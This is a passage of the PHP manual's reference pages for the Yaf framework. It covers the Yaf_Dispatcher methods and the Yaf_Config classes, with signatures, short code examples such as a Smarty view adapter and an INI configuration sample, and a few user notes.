  • Yaf_Dispatcher
  • Disable view rendering

Yaf_Dispatcher::disableView

(Yaf >=1.0.0)

Yaf_Dispatcher::disableView — Disable view rendering

Description

public bool Yaf_Dispatcher::disableView ( void )

disable view engine, used in some app that user will output by theirself

Note:

you can simply return FALSE in a action to prevent the auto-rendering of that action

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Dispatch a request

  • « Yaf_Dispatcher::disableView
  • Yaf_Dispatcher::enableView »
  • PHP Manual
  • Yaf_Dispatcher
  • Dispatch a request

Yaf_Dispatcher::dispatch

(Yaf >=1.0.0)

Yaf_Dispatcher::dispatch — Dispatch a request

Description

public Yaf_Response_Abstract Yaf_Dispatcher::dispatch ( Yaf_Request_Abstract $request )

This method does the heavy work of the Yaf_Dispatcher. It take a request object.

The dispatch process has three distinct events:

  • Routing
  • Dispatching
  • Response
Routing takes place exactly once, using the values in the request object when dispatch() is called. Dispatching takes place in a loop; a request may either indicate multiple actions to dispatch, or the controller or a plugin may reset the request object to force additional actions to dispatch(see Yaf_Plugin_Abstract. When all is done, the Yaf_Dispatcher returns a response.

Parameters

request

Return Values

User Contributed Notes

There are no user contributed notes for this page.


enable view rendering

  • « Yaf_Dispatcher::dispatch
  • Yaf_Dispatcher::flushInstantly »
  • PHP Manual
  • Yaf_Dispatcher
  • enable view rendering

Yaf_Dispatcher::enableView

(Yaf >=1.0.0)

Yaf_Dispatcher::enableView — enable view rendering

Description

public Yaf_Dispatcher Yaf_Dispatcher::enableView ( void )

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Switch on/off the instant flushing

  • « Yaf_Dispatcher::enableView
  • Yaf_Dispatcher::getApplication »
  • PHP Manual
  • Yaf_Dispatcher
  • Switch on/off the instant flushing

Yaf_Dispatcher::flushInstantly

(Yaf >=1.0.0)

Yaf_Dispatcher::flushInstantly — Switch on/off the instant flushing

Description

public Yaf_Dispatcher Yaf_Dispatcher::flushInstantly ([ bool $flag ] )

Parameters

flag

bool

Note:

since 2.2.0, if this parameter is not given, then the current state will be renturned

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Retrive the application

  • « Yaf_Dispatcher::flushInstantly
  • Yaf_Dispatcher::getInstance »
  • PHP Manual
  • Yaf_Dispatcher
  • Retrive the application

Yaf_Dispatcher::getApplication

(Yaf >=1.0.0)

Yaf_Dispatcher::getApplication — Retrive the application

Description

public Yaf_Application Yaf_Dispatcher::getApplication ( void )

Retrive the Yaf_Application instance. same as Yaf_Application::app().

Parameters

This function has no parameters.

Return Values

See Also

  • Yaf_Application::app() - Retrieve an Application instance

User Contributed Notes

There are no user contributed notes for this page.


Retrive the dispatcher instance

  • « Yaf_Dispatcher::getApplication
  • Yaf_Dispatcher::getRequest »
  • PHP Manual
  • Yaf_Dispatcher
  • Retrive the dispatcher instance

Yaf_Dispatcher::getInstance

(Yaf >=1.0.0)

Yaf_Dispatcher::getInstance — Retrive the dispatcher instance

Description

public static Yaf_Dispatcher Yaf_Dispatcher::getInstance ( void )

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Retrive the request instance

  • « Yaf_Dispatcher::getInstance
  • Yaf_Dispatcher::getRouter »
  • PHP Manual
  • Yaf_Dispatcher
  • Retrive the request instance

Yaf_Dispatcher::getRequest

(Yaf >=1.0.0)

Yaf_Dispatcher::getRequest — Retrive the request instance

Description

public Yaf_Request_Abstract Yaf_Dispatcher::getRequest ( void )

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Retrive router instance

  • « Yaf_Dispatcher::getRequest
  • Yaf_Dispatcher::initView »
  • PHP Manual
  • Yaf_Dispatcher
  • Retrive router instance

Yaf_Dispatcher::getRouter

(Yaf >=1.0.0)

Yaf_Dispatcher::getRouter — Retrive router instance

Description

public Yaf_Router Yaf_Dispatcher::getRouter ( void )

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Initialize view and return it

  • « Yaf_Dispatcher::getRouter
  • Yaf_Dispatcher::registerPlugin »
  • PHP Manual
  • Yaf_Dispatcher
  • Initialize view and return it

Yaf_Dispatcher::initView

(Yaf >=1.0.0)

Yaf_Dispatcher::initView — Initialize view and return it

Description

public Yaf_View_Interface Yaf_Dispatcher::initView ( string $templates_dir [, array $options ] )

Parameters

templates_dir

options

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Register a plugin

  • « Yaf_Dispatcher::initView
  • Yaf_Dispatcher::returnResponse »
  • PHP Manual
  • Yaf_Dispatcher
  • Register a plugin

Yaf_Dispatcher::registerPlugin

(Yaf >=1.0.0)

Yaf_Dispatcher::registerPlugin — Register a plugin

Description

public Yaf_Dispatcher Yaf_Dispatcher::registerPlugin ( Yaf_Plugin_Abstract $plugin )

Register a plugin(see Yaf_Plugin_Abstract). Generally, we register plugins in Bootstrap(see Yaf_Bootstrap_Abstract).

Parameters

plugin

Return Values

Examples

Example #1 Yaf_Dispatcher::registerPlugin()example

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract {
  public function _initPlugin(Yaf_Dispatcher $dispatcher) {
    /**
    * Yaf assumes plugin scripts under [application.directory] .  "/plugins"
    * for this case, it will be:
    * [application.directory] . "/plugins/" . "User" . [application.ext]
    */
    $user = new UserPlugin();
    $dispatcher->registerPlugin($user);
  }
}
?>

See Also

  • Yaf_Plugin_Abstract
  • Yaf_Bootstrap_Abstract

User Contributed Notes

There are no user contributed notes for this page.


The returnResponse purpose

  • « Yaf_Dispatcher::registerPlugin
  • Yaf_Dispatcher::setDefaultAction »
  • PHP Manual
  • Yaf_Dispatcher
  • The returnResponse purpose

Yaf_Dispatcher::returnResponse

(Yaf >=1.0.0)

Yaf_Dispatcher::returnResponse — The returnResponse purpose

Description

public Yaf_Dispatcher Yaf_Dispatcher::returnResponse ( bool $flag )

Parameters

flag

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Change default action name

  • « Yaf_Dispatcher::returnResponse
  • Yaf_Dispatcher::setDefaultController »
  • PHP Manual
  • Yaf_Dispatcher
  • Change default action name

Yaf_Dispatcher::setDefaultAction

(Yaf >=1.0.0)

Yaf_Dispatcher::setDefaultAction — Change default action name

Description

public Yaf_Dispatcher Yaf_Dispatcher::setDefaultAction ( string $action )

Parameters

action

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Change default controller name

  • « Yaf_Dispatcher::setDefaultAction
  • Yaf_Dispatcher::setDefaultModule »
  • PHP Manual
  • Yaf_Dispatcher
  • Change default controller name

Yaf_Dispatcher::setDefaultController

(Yaf >=1.0.0)

Yaf_Dispatcher::setDefaultController — Change default controller name

Description

public Yaf_Dispatcher Yaf_Dispatcher::setDefaultController ( string $controller )

Parameters

controller

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Change default module name

  • « Yaf_Dispatcher::setDefaultController
  • Yaf_Dispatcher::setErrorHandler »
  • PHP Manual
  • Yaf_Dispatcher
  • Change default module name

Yaf_Dispatcher::setDefaultModule

(Yaf >=1.0.0)

Yaf_Dispatcher::setDefaultModule — Change default module name

Description

public Yaf_Dispatcher Yaf_Dispatcher::setDefaultModule ( string $module )

Parameters

module

Return Values

User Contributed Notes

1048418244 at qq dot com 15-Jul-2013 12:58
Yaf_Dispatcher::setDefaultModule is not effective.

yaf version 2.2.9


Set error handler

  • « Yaf_Dispatcher::setDefaultModule
  • Yaf_Dispatcher::setRequest »
  • PHP Manual
  • Yaf_Dispatcher
  • Set error handler

Yaf_Dispatcher::setErrorHandler

(Yaf >=1.0.0)

Yaf_Dispatcher::setErrorHandler — Set error handler

Description

public Yaf_Dispatcher Yaf_Dispatcher::setErrorHandler ( call $callback , int $error_types )

Set error handler for Yaf. when application.dispatcher.throwException is off, Yaf will trigger catchable error while unexpected errors occrred.

Thus, this error handler will be called while the error raise.

Parameters

callback

A callable callback

error_types

Return Values

See Also

  • Yaf_Dispatcher::throwException() - Switch on/off exception throwing
  • Yaf_Application::getLastErrorNo() - Get code of last occurred error
  • Yaf_Application::getLastErrorMsg() - Get message of the last occurred error

User Contributed Notes

gianjason#gmail.com 09-Jan-2013 04:20
eg:

<?php $dispatcher->setErrorHandler(array(get_class($this),'error_handler')); ?>


The setRequest purpose

  • « Yaf_Dispatcher::setErrorHandler
  • Yaf_Dispatcher::setView »
  • PHP Manual
  • Yaf_Dispatcher
  • The setRequest purpose

Yaf_Dispatcher::setRequest

(Yaf >=1.0.0)

Yaf_Dispatcher::setRequest — The setRequest purpose

Description

public Yaf_Dispatcher Yaf_Dispatcher::setRequest ( Yaf_Request_Abstract $request )

Parameters

plugin

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set a custom view engine

  • « Yaf_Dispatcher::setRequest
  • Yaf_Dispatcher::__sleep »
  • PHP Manual
  • Yaf_Dispatcher
  • Set a custom view engine

Yaf_Dispatcher::setView

(Yaf >=1.0.0)

Yaf_Dispatcher::setView — Set a custom view engine

Description

public Yaf_Dispatcher Yaf_Dispatcher::setView ( Yaf_View_Interface $view )

This method proviods a solution for that if you want use a custom view engine instead of Yaf_View_Simple

Parameters

view

A Yaf_View_Interface instance

Return Values

Examples

Example #1 A custom View engine()example

<?php
require "/path/to/smarty/Smarty.class.php";

class Smarty_Adapter implements Yaf_View_Interface
{
    /**
     * Smarty object
     * @var Smarty
     */
    public $_smarty;

    /**
     * Constructor
     *
     * @param string $tmplPath
     * @param array $extraParams
     * @return void
     */
    public function __construct($tmplPath = null, $extraParams = array()) {
        $this->_smarty = new Smarty;

        if (null !== $tmplPath) {
            $this->setScriptPath($tmplPath);
        }

        foreach ($extraParams as $key => $value) {
            $this->_smarty->$key = $value;
        }
    }

    /**
     * Set the path to the templates
     *
     * @param string $path The directory to set as the path.
     * @return void
     */
    public function setScriptPath($path)
    {
        if (is_readable($path)) {
            $this->_smarty->template_dir = $path;
            return;
        }

        throw new Exception('Invalid path provided');
    }

    /**
     * Assign a variable to the template
     *
     * @param string $key The variable name.
     * @param mixed $val The variable value.
     * @return void
     */
    public function __set($key, $val)
    {
        $this->_smarty->assign($key, $val);
    }

    /**
     * Allows testing with empty() and isset() to work
     *
     * @param string $key
     * @return boolean
     */
    public function __isset($key)
    {
        return (null !== $this->_smarty->get_template_vars($key));
    }

    /**
     * Allows unset() on object properties to work
     *
     * @param string $key
     * @return void
     */
    public function __unset($key)
    {
        $this->_smarty->clear_assign($key);
    }

    /**
     * Assign variables to the template
     *
     * Allows setting a specific key to the specified value, OR passing
     * an array of key => value pairs to set en masse.
     *
     * @see __set()
     * @param string|array $spec The assignment strategy to use (key or
     * array of key => value pairs)
     * @param mixed $value (Optional) If assigning a named variable,
     * use this as the value.
     * @return void
     */
    public function assign($spec, $value = null) {
        if (is_array($spec)) {
            $this->_smarty->assign($spec);
            return;
        }

        $this->_smarty->assign($spec, $value);
    }

    /**
     * Clear all assigned variables
     *
     * Clears all variables assigned to Yaf_View either via
     * {@link assign()} or property overloading
     * ({@link __get()}/{@link __set()}).
     *
     * @return void
     */
    public function clearVars() {
        $this->_smarty->clear_all_assign();
    }

    /**
     * Processes a template and returns the output.
     *
     * @param string $name The template to process.
     * @return string The output.
     */
    public function render($name, $value = NULL) {
        return $this->_smarty->fetch($name);
    }

    public function display($name, $value = NULL) {
        echo $this->_smarty->fetch($name);
    }

}
?>

Example #2 Yaf_Dispatcher::setView()example

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract {

    /**
     * there are some config for smarty in the config:
     *
     * smarty.left_delimiter   = "{{"
     * smarty.right_delimiter  = "}}"
     * smarty.template_dir     = APPLICATION_PATH "/views/scripts/"
     * smarty.compile_dir      = APPLICATION_PATH "/views/templates_c/"
     * smarty.cache_dir        = APPLICATION_PATH "/views/templates_d/"
     *
     */
    public function _initConfig() {
        $config = Yaf_Application::app()->getConfig();
        Yaf_Registry::set("config", $config);
    }

    public function _initLocalName() {
        /** we put class Smarty_Adapter under the local library directory */
        Yaf_Loader::getInstance()->registerLocalNamespace('Smarty');
    }

    public function _initSmarty(Yaf_Dispatcher $dispatcher) {
        $smarty = new Smarty_Adapter(null, Yaf_Registry::get("config")->get("smarty"));
        $dispatcher->setView($smarty);
        /* now the Smarty view engine become the default view engine of Yaf */
    }
}
?>

See Also

  • Yaf_View_Interface
  • Yaf_View_Simple

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Dispatcher can not be serialized

  • « Yaf_Dispatcher::setView
  • Yaf_Dispatcher::throwException »
  • PHP Manual
  • Yaf_Dispatcher
  • Yaf_Dispatcher can not be serialized

Yaf_Dispatcher::__sleep

(Yaf >=1.0.0)

Yaf_Dispatcher::__sleep — Yaf_Dispatcher can not be serialized

Description

private void Yaf_Dispatcher::__sleep ( void )

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Switch on/off exception throwing

  • « Yaf_Dispatcher::__sleep
  • Yaf_Dispatcher::__wakeup »
  • PHP Manual
  • Yaf_Dispatcher
  • Switch on/off exception throwing

Yaf_Dispatcher::throwException

(Yaf >=1.0.0)

Yaf_Dispatcher::throwException — Switch on/off exception throwing

Description

public Yaf_Dispatcher Yaf_Dispatcher::throwException ([ bool $flag ] )

Siwtch on/off exception throwing while unexpected error occurring. When this is on, Yaf will throwing exceptions instead of triggering catchable errors.

You can also use application.dispatcher.throwException to achieve the same purpose.

Parameters

flag

bool

Return Values

Examples

Example #1 Yaf_Dispatcher::throwexception()example

<?php

$config = array(
    'application' => array(
        'directory' => dirname(__FILE__),
    ),
);
$app = new Yaf_Application($config);

$app->getDispatcher()->throwException(true);

try {
    $app->run();
} catch (Yaf_Exception $e) {
    var_dump($e->getMessage());
}
?>

The above example will output something similar to:

string(59) "Could not find controller script /tmp/controllers/Index.php"

Example #2 Yaf_Dispatcher::throwexception()example

<?php

$config = array(
    'application' => array(
        'directory' => dirname(__FILE__),
    ),
);
$app = new Yaf_Application($config);

$app->getDispatcher()->throwException(false);

$app->run();
?>

The above example will output something similar to:

PHP Catchable fatal error:  Yaf_Application::run(): Could not find controller script /tmp/controllers/Index.php in /tmp/1.php on line 12

See Also

  • Yaf_Dispatcher::catchException() - Switch on/off exception catching
  • Yaf_Exception

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Dispatcher can not be unserialized

  • « Yaf_Dispatcher::throwException
  • Yaf_Config_Abstract »
  • PHP Manual
  • Yaf_Dispatcher
  • Yaf_Dispatcher can not be unserialized

Yaf_Dispatcher::__wakeup

(Yaf >=1.0.0)

Yaf_Dispatcher::__wakeup — Yaf_Dispatcher can not be unserialized

Description

private void Yaf_Dispatcher::__wakeup ( void )

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Config_Abstract class

(Yaf >=1.0.0)

Introduction

Class synopsis

abstract Yaf_Config_Abstract {
/* Properties */
protected $_config ;
protected $_readonly ;
/* Methods */
abstract public mixed get ( string $name , mixed $value )
abstract public bool readonly ( void )
abstract public Yaf_Config_Abstract set ( void )
abstract public array toArray ( void )
}

Properties

_config

_readonly

Table of Contents

  • Yaf_Config_Abstract::get — Getter
  • Yaf_Config_Abstract::readonly — Find a config whether readonly
  • Yaf_Config_Abstract::set — Setter
  • Yaf_Config_Abstract::toArray — Cast to array

User Contributed Notes

There are no user contributed notes for this page.


Getter

  • « Yaf_Config_Abstract
  • Yaf_Config_Abstract::readonly »
  • PHP Manual
  • Yaf_Config_Abstract
  • Getter

Yaf_Config_Abstract::get

(Yaf >=1.0.0)

Yaf_Config_Abstract::get — Getter

Description

abstract public mixed Yaf_Config_Abstract::get ( string $name , mixed $value )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Find a config whether readonly

  • « Yaf_Config_Abstract::get
  • Yaf_Config_Abstract::set »
  • PHP Manual
  • Yaf_Config_Abstract
  • Find a config whether readonly

Yaf_Config_Abstract::readonly

(Yaf >=1.0.0)

Yaf_Config_Abstract::readonly — Find a config whether readonly

Description

abstract public bool Yaf_Config_Abstract::readonly ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Setter

  • « Yaf_Config_Abstract::readonly
  • Yaf_Config_Abstract::toArray »
  • PHP Manual
  • Yaf_Config_Abstract
  • Setter

Yaf_Config_Abstract::set

(Yaf >=1.0.0)

Yaf_Config_Abstract::set — Setter

Description

abstract public Yaf_Config_Abstract Yaf_Config_Abstract::set ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Cast to array

  • « Yaf_Config_Abstract::set
  • Yaf_Config_Ini »
  • PHP Manual
  • Yaf_Config_Abstract
  • Cast to array

Yaf_Config_Abstract::toArray

(Yaf >=1.0.0)

Yaf_Config_Abstract::toArray — Cast to array

Description

abstract public array Yaf_Config_Abstract::toArray ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Config_Ini class

(Yaf >=1.0.0)

Introduction

Yaf_Config_Ini enables developers to store configuration data in a familiar INI format and read them in the application by using nested object property syntax. The INI format is specialized to provide both the ability to have a hierarchy of configuration data keys and inheritance between configuration data sections. Configuration data hierarchies are supported by separating the keys with the dot or period character ("."). A section may extend or inherit from another section by following the section name with a colon character (":") and the name of the section from which data are to be inherited.

Note:

Yaf_Config_Ini utilizes the » parse_ini_file() PHP function. Please review this documentation to be aware of its specific behaviors, which propagate to Yaf_Config_Ini, such as how the special values of "TRUE", "FALSE", "yes", "no", and "NULL" are handled.

Class synopsis

Yaf_Config_Ini extends Yaf_Config_Abstract implements Iterator , ArrayAccess , Countable {
/* Properties */
/* Methods */
public __construct ( string $config_file [, string $section ] )
public void count ( void )
public void current ( void )
public void __get ([ string $name ] )
public void __isset ( string $name )
public void key ( void )
public void next ( void )
public void offsetExists ( string $name )
public void offsetGet ( string $name )
public void offsetSet ( string $name , string $value )
public void offsetUnset ( string $name )
public void readonly ( void )
public void rewind ( void )
public void __set ( string $name , mixed $value )
public array toArray ( void )
public void valid ( void )
/* Inherited methods */
abstract public mixed Yaf_Config_Abstract::get ( string $name , mixed $value )
abstract public bool Yaf_Config_Abstract::readonly ( void )
abstract public Yaf_Config_Abstract Yaf_Config_Abstract::set ( void )
abstract public array Yaf_Config_Abstract::toArray ( void )
}

Properties

_config

_readonly

Examples

Example #1 Yaf_Config_Ini()example

This example illustrates a basic use of Yaf_Config_Ini for loading configuration data from an INI file. In this example there are configuration data for both a production system and for a staging system. Because the staging system configuration data are very similar to those for production, the staging section inherits from the production section. In this case, the decision is arbitrary and could have been written conversely, with the production section inheriting from the staging section, though this may not be the case for more complex situations. Suppose, then, that the following configuration data are contained in /path/to/config.ini:

; Production site configuration data
[production]
webhost                  = www.example.com
database.adapter         = pdo_mysql
database.params.host     = db.example.com
database.params.username = dbuser
database.params.password = secret
database.params.dbname   = dbname

; Staging site configuration data inherits from production and
; overrides values as necessary
[staging : production]
database.params.host     = dev.example.com
database.params.username = devuser
database.params.password = devsecret
<?php
$config = new Yaf_Config_Ini('/path/to/config.ini', 'staging');

var_dump($config->database->params->host);
var_dump($config->database->params->dbname);
var_dump($config->get("database.params.username"));
?>

The above example will output something similar to:

string(15) "dev.example.com"
string(6) "dbname"
string(7) "devuser

Table of Contents

  • Yaf_Config_Ini::__construct — Yaf_Config_Ini constructor
  • Yaf_Config_Ini::count — The count purpose
  • Yaf_Config_Ini::current — The current purpose
  • Yaf_Config_Ini::__get — The __get purpose
  • Yaf_Config_Ini::__isset — The __isset purpose
  • Yaf_Config_Ini::key — The key purpose
  • Yaf_Config_Ini::next — The next purpose
  • Yaf_Config_Ini::offsetExists — The offsetExists purpose
  • Yaf_Config_Ini::offsetGet — The offsetGet purpose
  • Yaf_Config_Ini::offsetSet — The offsetSet purpose
  • Yaf_Config_Ini::offsetUnset — The offsetUnset purpose
  • Yaf_Config_Ini::readonly — The readonly purpose
  • Yaf_Config_Ini::rewind — The rewind purpose
  • Yaf_Config_Ini::__set — The __set purpose
  • Yaf_Config_Ini::toArray — Returns a PHP array
  • Yaf_Config_Ini::valid — The valid purpose

User Contributed Notes

lee dot howarth dot 90 at gmail dot com 03-May-2014 06:59
@flowithwind

var_dump($config -> toArray()[ 'type' ][ 18 ][ 'text' ]);

string 'abc' (length=3)
flowithwind at gmail dot com 08-Apr-2014 04:03
when i use Yaf_Config_ini with these lines:

type.18.text=abc
type.8.text=ddf
type.0.text=fjdsklf

I can not found a way to get config value:

$config->type->18->text
$config->type[18]->text
$config->type['18']->text
$config->get("type.18.text")

all of above codes return NULL.

How can I get the config value?


Yaf_Config_Ini constructor

  • « Yaf_Config_Ini
  • Yaf_Config_Ini::count »
  • PHP Manual
  • Yaf_Config_Ini
  • Yaf_Config_Ini constructor

Yaf_Config_Ini::__construct

(Yaf >=1.0.0)

Yaf_Config_Ini::__construct — Yaf_Config_Ini constructor

Description

public Yaf_Config_Ini::__construct ( string $config_file [, string $section ] )

Yaf_Config_Ini constructor

Parameters

config_file

path to an INI configure file

section

which section in that INI file you want to be parsed

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The count purpose

  • « Yaf_Config_Ini::__construct
  • Yaf_Config_Ini::current »
  • PHP Manual
  • Yaf_Config_Ini
  • The count purpose

Yaf_Config_Ini::count

(Yaf >=1.0.0)

Yaf_Config_Ini::count — The count purpose

Description

public void Yaf_Config_Ini::count ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The current purpose

  • « Yaf_Config_Ini::count
  • Yaf_Config_Ini::__get »
  • PHP Manual
  • Yaf_Config_Ini
  • The current purpose

Yaf_Config_Ini::current

(Yaf >=1.0.0)

Yaf_Config_Ini::current — The current purpose

Description

public void Yaf_Config_Ini::current ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __get purpose

  • « Yaf_Config_Ini::current
  • Yaf_Config_Ini::__isset »
  • PHP Manual
  • Yaf_Config_Ini
  • The __get purpose

Yaf_Config_Ini::__get

(Yaf >=1.0.0)

Yaf_Config_Ini::__get — The __get purpose

Description

public void Yaf_Config_Ini::__get ([ string $name ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __isset purpose

  • « Yaf_Config_Ini::__get
  • Yaf_Config_Ini::key »
  • PHP Manual
  • Yaf_Config_Ini
  • The __isset purpose

Yaf_Config_Ini::__isset

(Yaf >=1.0.0)

Yaf_Config_Ini::__isset — The __isset purpose

Description

public void Yaf_Config_Ini::__isset ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The key purpose

  • « Yaf_Config_Ini::__isset
  • Yaf_Config_Ini::next »
  • PHP Manual
  • Yaf_Config_Ini
  • The key purpose

Yaf_Config_Ini::key

(Yaf >=1.0.0)

Yaf_Config_Ini::key — The key purpose

Description

public void Yaf_Config_Ini::key ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The next purpose

  • « Yaf_Config_Ini::key
  • Yaf_Config_Ini::offsetExists »
  • PHP Manual
  • Yaf_Config_Ini
  • The next purpose

Yaf_Config_Ini::next

(Yaf >=1.0.0)

Yaf_Config_Ini::next — The next purpose

Description

public void Yaf_Config_Ini::next ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The offsetExists purpose

  • « Yaf_Config_Ini::next
  • Yaf_Config_Ini::offsetGet »
  • PHP Manual
  • Yaf_Config_Ini
  • The offsetExists purpose

Yaf_Config_Ini::offsetExists

(Yaf >=1.0.0)

Yaf_Config_Ini::offsetExists — The offsetExists purpose

Description

public void Yaf_Config_Ini::offsetExists ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The offsetGet purpose

  • « Yaf_Config_Ini::offsetExists
  • Yaf_Config_Ini::offsetSet »
  • PHP Manual
  • Yaf_Config_Ini
  • The offsetGet purpose

Yaf_Config_Ini::offsetGet

(Yaf >=1.0.0)

Yaf_Config_Ini::offsetGet — The offsetGet purpose

Description

public void Yaf_Config_Ini::offsetGet ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The offsetSet purpose

  • « Yaf_Config_Ini::offsetGet
  • Yaf_Config_Ini::offsetUnset »
  • PHP Manual
  • Yaf_Config_Ini
  • The offsetSet purpose

Yaf_Config_Ini::offsetSet

(Yaf >=1.0.0)

Yaf_Config_Ini::offsetSet — The offsetSet purpose

Description

public void Yaf_Config_Ini::offsetSet ( string $name , string $value )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

value

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The offsetUnset purpose

  • « Yaf_Config_Ini::offsetSet
  • Yaf_Config_Ini::readonly »
  • PHP Manual
  • Yaf_Config_Ini
  • The offsetUnset purpose

Yaf_Config_Ini::offsetUnset

(Yaf >=1.0.0)

Yaf_Config_Ini::offsetUnset — The offsetUnset purpose

Description

public void Yaf_Config_Ini::offsetUnset ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The readonly purpose

  • « Yaf_Config_Ini::offsetUnset
  • Yaf_Config_Ini::rewind »
  • PHP Manual
  • Yaf_Config_Ini
  • The readonly purpose

Yaf_Config_Ini::readonly

(Yaf >=1.0.0)

Yaf_Config_Ini::readonly — The readonly purpose

Description

public void Yaf_Config_Ini::readonly ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The rewind purpose

  • « Yaf_Config_Ini::readonly
  • Yaf_Config_Ini::__set »
  • PHP Manual
  • Yaf_Config_Ini
  • The rewind purpose

Yaf_Config_Ini::rewind

(Yaf >=1.0.0)

Yaf_Config_Ini::rewind — The rewind purpose

Description

public void Yaf_Config_Ini::rewind ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __set purpose

  • « Yaf_Config_Ini::rewind
  • Yaf_Config_Ini::toArray »
  • PHP Manual
  • Yaf_Config_Ini
  • The __set purpose

Yaf_Config_Ini::__set

(Yaf >=1.0.0)

Yaf_Config_Ini::__set — The __set purpose

Description

public void Yaf_Config_Ini::__set ( string $name , mixed $value )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

value

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Returns a PHP array

  • « Yaf_Config_Ini::__set
  • Yaf_Config_Ini::valid »
  • PHP Manual
  • Yaf_Config_Ini
  • Returns a PHP array

Yaf_Config_Ini::toArray

(Yaf >=1.0.0)

Yaf_Config_Ini::toArray — Returns a PHP array

Description

public array Yaf_Config_Ini::toArray ( void )

Returns a PHP array from the Yaf_Config_Ini

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The valid purpose

  • « Yaf_Config_Ini::toArray
  • Yaf_Config_Simple »
  • PHP Manual
  • Yaf_Config_Ini
  • The valid purpose

Yaf_Config_Ini::valid

(Yaf >=1.0.0)

Yaf_Config_Ini::valid — The valid purpose

Description

public void Yaf_Config_Ini::valid ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Config_Simple class

(Yaf >=1.0.0)

Introduction

Class synopsis

Yaf_Config_Simple extends Yaf_Config_Abstract implements Iterator , ArrayAccess , Countable {
/* Properties */
protected $_readonly ;
/* Methods */
public __construct ( string $config_file [, string $section ] )
public void count ( void )
public void current ( void )
public void __get ([ string $name ] )
public void __isset ( string $name )
public void key ( void )
public void next ( void )
public void offsetExists ( string $name )
public void offsetGet ( string $name )
public void offsetSet ( string $name , string $value )
public void offsetUnset ( string $name )
public void readonly ( void )
public void rewind ( void )
public void __set ( string $name , string $value )
public array toArray ( void )
public void valid ( void )
/* Inherited methods */
abstract public mixed Yaf_Config_Abstract::get ( string $name , mixed $value )
abstract public bool Yaf_Config_Abstract::readonly ( void )
abstract public Yaf_Config_Abstract Yaf_Config_Abstract::set ( void )
abstract public array Yaf_Config_Abstract::toArray ( void )
}

Properties

_config

_readonly

Table of Contents

  • Yaf_Config_Simple::__construct — The __construct purpose
  • Yaf_Config_Simple::count — The count purpose
  • Yaf_Config_Simple::current — The current purpose
  • Yaf_Config_Simple::__get — The __get purpose
  • Yaf_Config_Simple::__isset — The __isset purpose
  • Yaf_Config_Simple::key — The key purpose
  • Yaf_Config_Simple::next — The next purpose
  • Yaf_Config_Simple::offsetExists — The offsetExists purpose
  • Yaf_Config_Simple::offsetGet — The offsetGet purpose
  • Yaf_Config_Simple::offsetSet — The offsetSet purpose
  • Yaf_Config_Simple::offsetUnset — The offsetUnset purpose
  • Yaf_Config_Simple::readonly — The readonly purpose
  • Yaf_Config_Simple::rewind — The rewind purpose
  • Yaf_Config_Simple::__set — The __set purpose
  • Yaf_Config_Simple::toArray — Returns a PHP array
  • Yaf_Config_Simple::valid — The valid purpose

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « Yaf_Config_Simple
  • Yaf_Config_Simple::count »
  • PHP Manual
  • Yaf_Config_Simple
  • The __construct purpose

Yaf_Config_Simple::__construct

